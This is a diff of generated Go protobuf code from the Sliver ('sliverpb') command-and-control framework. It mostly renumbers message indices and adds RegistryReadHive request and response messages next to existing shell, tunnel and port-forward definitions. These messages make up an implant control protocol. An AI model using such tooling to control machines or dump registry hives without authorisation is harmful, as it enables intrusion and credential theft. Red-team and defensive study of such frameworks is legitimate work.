ms.LoadMessageInfo() == nil { @@ -11353,7 +11479,7 @@ func (x *ListWasmExtensionsReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ListWasmExtensionsReq.ProtoReflect.Descriptor instead. func (*ListWasmExtensionsReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{169} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{171} } func (x *ListWasmExtensionsReq) GetRequest() *commonpb.Request { @@ -11375,7 +11501,7 @@ type ListWasmExtensions struct { func (x *ListWasmExtensions) Reset() { *x = ListWasmExtensions{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[170] + mi := &file_sliverpb_sliver_proto_msgTypes[172] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11388,7 +11514,7 @@ func (x *ListWasmExtensions) String() string { func (*ListWasmExtensions) ProtoMessage() {} func (x *ListWasmExtensions) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[170] + mi := &file_sliverpb_sliver_proto_msgTypes[172] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11401,7 +11527,7 @@ func (x *ListWasmExtensions) ProtoReflect() protoreflect.Message { // Deprecated: Use ListWasmExtensions.ProtoReflect.Descriptor instead. func (*ListWasmExtensions) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{170} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{172} } func (x *ListWasmExtensions) GetNames() []string { @@ -11434,7 +11560,7 @@ type ExecWasmExtensionReq struct { func (x *ExecWasmExtensionReq) Reset() { *x = ExecWasmExtensionReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[171] + mi := &file_sliverpb_sliver_proto_msgTypes[173] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11447,7 +11573,7 @@ func (x *ExecWasmExtensionReq) String() string { func (*ExecWasmExtensionReq) ProtoMessage() {} func (x *ExecWasmExtensionReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[171] + mi := &file_sliverpb_sliver_proto_msgTypes[173] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11460,7 +11586,7 @@ func (x *ExecWasmExtensionReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ExecWasmExtensionReq.ProtoReflect.Descriptor instead. func (*ExecWasmExtensionReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{171} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{173} } func (x *ExecWasmExtensionReq) GetName() string { @@ -11519,7 +11645,7 @@ type ExecWasmExtension struct { func (x *ExecWasmExtension) Reset() { *x = ExecWasmExtension{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[172] + mi := &file_sliverpb_sliver_proto_msgTypes[174] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11532,7 +11658,7 @@ func (x *ExecWasmExtension) String() string { func (*ExecWasmExtension) ProtoMessage() {} func (x *ExecWasmExtension) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[172] + mi := &file_sliverpb_sliver_proto_msgTypes[174] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11545,7 +11671,7 @@ func (x *ExecWasmExtension) ProtoReflect() protoreflect.Message { // Deprecated: Use ExecWasmExtension.ProtoReflect.Descriptor instead. func (*ExecWasmExtension) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{172} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{174} } func (x *ExecWasmExtension) GetStdout() []byte { @@ -11588,7 +11714,7 @@ type ServicesReq struct { func (x *ServicesReq) Reset() { *x = ServicesReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[173] + mi := &file_sliverpb_sliver_proto_msgTypes[175] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11601,7 +11727,7 @@ func (x *ServicesReq) String() string { func (*ServicesReq) ProtoMessage() {} func (x *ServicesReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[173] + mi := &file_sliverpb_sliver_proto_msgTypes[175] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11614,7 +11740,7 @@ func (x *ServicesReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ServicesReq.ProtoReflect.Descriptor instead. func (*ServicesReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{173} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{175} } func (x *ServicesReq) GetHostname() string { @@ -11643,7 +11769,7 @@ type ServiceDetailReq struct { func (x *ServiceDetailReq) Reset() { *x = ServiceDetailReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[174] + mi := &file_sliverpb_sliver_proto_msgTypes[176] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11656,7 +11782,7 @@ func (x *ServiceDetailReq) String() string { func (*ServiceDetailReq) ProtoMessage() {} func (x *ServiceDetailReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[174] + mi := &file_sliverpb_sliver_proto_msgTypes[176] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11669,7 +11795,7 @@ func (x *ServiceDetailReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ServiceDetailReq.ProtoReflect.Descriptor instead. func (*ServiceDetailReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{174} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{176} } func (x *ServiceDetailReq) GetServiceInfo() *ServiceInfoReq { @@ -11703,7 +11829,7 @@ type ServiceDetails struct { func (x *ServiceDetails) Reset() { *x = ServiceDetails{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[175] + mi := &file_sliverpb_sliver_proto_msgTypes[177] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11716,7 +11842,7 @@ func (x *ServiceDetails) String() string { func (*ServiceDetails) ProtoMessage() {} func (x *ServiceDetails) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[175] + mi := &file_sliverpb_sliver_proto_msgTypes[177] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11729,7 +11855,7 @@ func (x *ServiceDetails) ProtoReflect() protoreflect.Message { // Deprecated: Use ServiceDetails.ProtoReflect.Descriptor instead. func (*ServiceDetails) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{175} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{177} } func (x *ServiceDetails) GetName() string { @@ -11794,7 +11920,7 @@ type Services struct { func (x *Services) Reset() { *x = Services{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[176] + mi := &file_sliverpb_sliver_proto_msgTypes[178] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11807,7 +11933,7 @@ func (x *Services) String() string { func (*Services) ProtoMessage() {} func (x *Services) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[176] + mi := &file_sliverpb_sliver_proto_msgTypes[178] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11820,7 +11946,7 @@ func (x *Services) ProtoReflect() protoreflect.Message { // Deprecated: Use Services.ProtoReflect.Descriptor instead. func (*Services) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{176} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{178} } func (x *Services) GetDetails() []*ServiceDetails { @@ -11857,7 +11983,7 @@ type ServiceDetail struct { func (x *ServiceDetail) Reset() { *x = ServiceDetail{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[177] + mi := &file_sliverpb_sliver_proto_msgTypes[179] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11870,7 +11996,7 @@ func (x *ServiceDetail) String() string { func (*ServiceDetail) ProtoMessage() {} func (x *ServiceDetail) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[177] + mi := &file_sliverpb_sliver_proto_msgTypes[179] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11883,7 +12009,7 @@ func (x *ServiceDetail) ProtoReflect() protoreflect.Message { // Deprecated: Use ServiceDetail.ProtoReflect.Descriptor instead. func (*ServiceDetail) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{177} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{179} } func (x *ServiceDetail) GetDetail() *ServiceDetails { @@ -11919,7 +12045,7 @@ type StartServiceByNameReq struct { func (x *StartServiceByNameReq) Reset() { *x = StartServiceByNameReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[178] + mi := &file_sliverpb_sliver_proto_msgTypes[180] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11932,7 +12058,7 @@ func (x *StartServiceByNameReq) String() string { func (*StartServiceByNameReq) ProtoMessage() {} func (x *StartServiceByNameReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[178] + mi := &file_sliverpb_sliver_proto_msgTypes[180] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11945,7 +12071,7 @@ func (x *StartServiceByNameReq) ProtoReflect() protoreflect.Message { // Deprecated: Use StartServiceByNameReq.ProtoReflect.Descriptor instead. func (*StartServiceByNameReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{178} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{180} } func (x *StartServiceByNameReq) GetServiceInfo() *ServiceInfoReq { @@ -11974,7 +12100,7 @@ type SockTabEntry_SockAddr struct { func (x *SockTabEntry_SockAddr) Reset() { *x = SockTabEntry_SockAddr{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[180] + mi := &file_sliverpb_sliver_proto_msgTypes[182] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11987,7 +12113,7 @@ func (x *SockTabEntry_SockAddr) String() string { func (*SockTabEntry_SockAddr) ProtoMessage() {} func (x *SockTabEntry_SockAddr) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[180] + mi := &file_sliverpb_sliver_proto_msgTypes[182] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -12836,615 +12962,631 @@ var file_sliverpb_sliver_proto_rawDesc = []byte{ 0x65, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x46, 0x0a, 0x06, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1e, 0x0a, 0x08, - 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, - 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x92, 0x02, 0x0a, 0x0a, 0x54, - 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, - 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, - 0x06, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x43, - 0x6c, 0x6f, 0x73, 0x65, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x53, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, - 0x65, 0x12, 0x10, 0x0a, 0x03, 0x41, 0x63, 0x6b, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x03, - 0x41, 0x63, 0x6b, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x73, 0x65, 0x6e, 0x64, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x73, 0x65, 0x6e, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0d, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, - 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x72, 0x70, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, - 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x08, 0x72, 0x70, 0x6f, 0x72, 0x74, 0x66, 0x77, - 0x64, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, - 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, - 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, - 0x9b, 0x01, 0x0a, 0x08, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, - 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, - 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x50, 0x54, 0x59, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x09, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x50, 0x54, 0x59, 0x12, 0x10, - 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, - 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, - 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x9b, 0x01, - 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x45, - 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x50, 0x54, 0x59, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, - 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x50, 0x54, 0x59, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x08, 0x54, - 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, - 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x08, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9d, 0x01, 0x0a, 0x0a, - 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, - 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1a, - 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, - 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1e, - 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, - 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, - 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x9d, 0x01, 0x0a, 0x07, - 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x50, - 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x50, - 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x08, 0x54, - 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, - 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x08, 0x52, + 0x73, 0x65, 0x22, 0x84, 0x01, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, + 0x65, 0x61, 0x64, 0x48, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x52, 0x6f, + 0x6f, 0x74, 0x48, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x52, 0x6f, + 0x6f, 0x74, 0x48, 0x69, 0x76, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x65, 0x64, 0x48, 0x69, 0x76, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x65, 0x64, 0x48, 0x69, 0x76, 0x65, 0x12, 0x2b, 0x0a, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x70, 0x0a, 0x10, 0x52, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x48, 0x69, 0x76, 0x65, 0x12, 0x12, 0x0a, + 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, + 0x61, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x45, 0x0a, 0x05, 0x53, - 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, + 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x46, 0x0a, 0x06, 0x54, + 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, + 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, + 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x49, 0x44, 0x22, 0x92, 0x02, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x64, 0x12, 0x1a, + 0x0a, 0x08, 0x53, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x08, 0x53, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x41, 0x63, + 0x6b, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x03, 0x41, 0x63, 0x6b, 0x12, 0x16, 0x0a, 0x06, + 0x52, 0x65, 0x73, 0x65, 0x6e, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, + 0x73, 0x65, 0x6e, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x72, 0x70, + 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, + 0x52, 0x08, 0x72, 0x70, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, + 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, + 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x9b, 0x01, 0x0a, 0x08, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x6e, 0x61, + 0x62, 0x6c, 0x65, 0x50, 0x54, 0x59, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x45, 0x6e, + 0x61, 0x62, 0x6c, 0x65, 0x50, 0x54, 0x59, 0x12, 0x10, 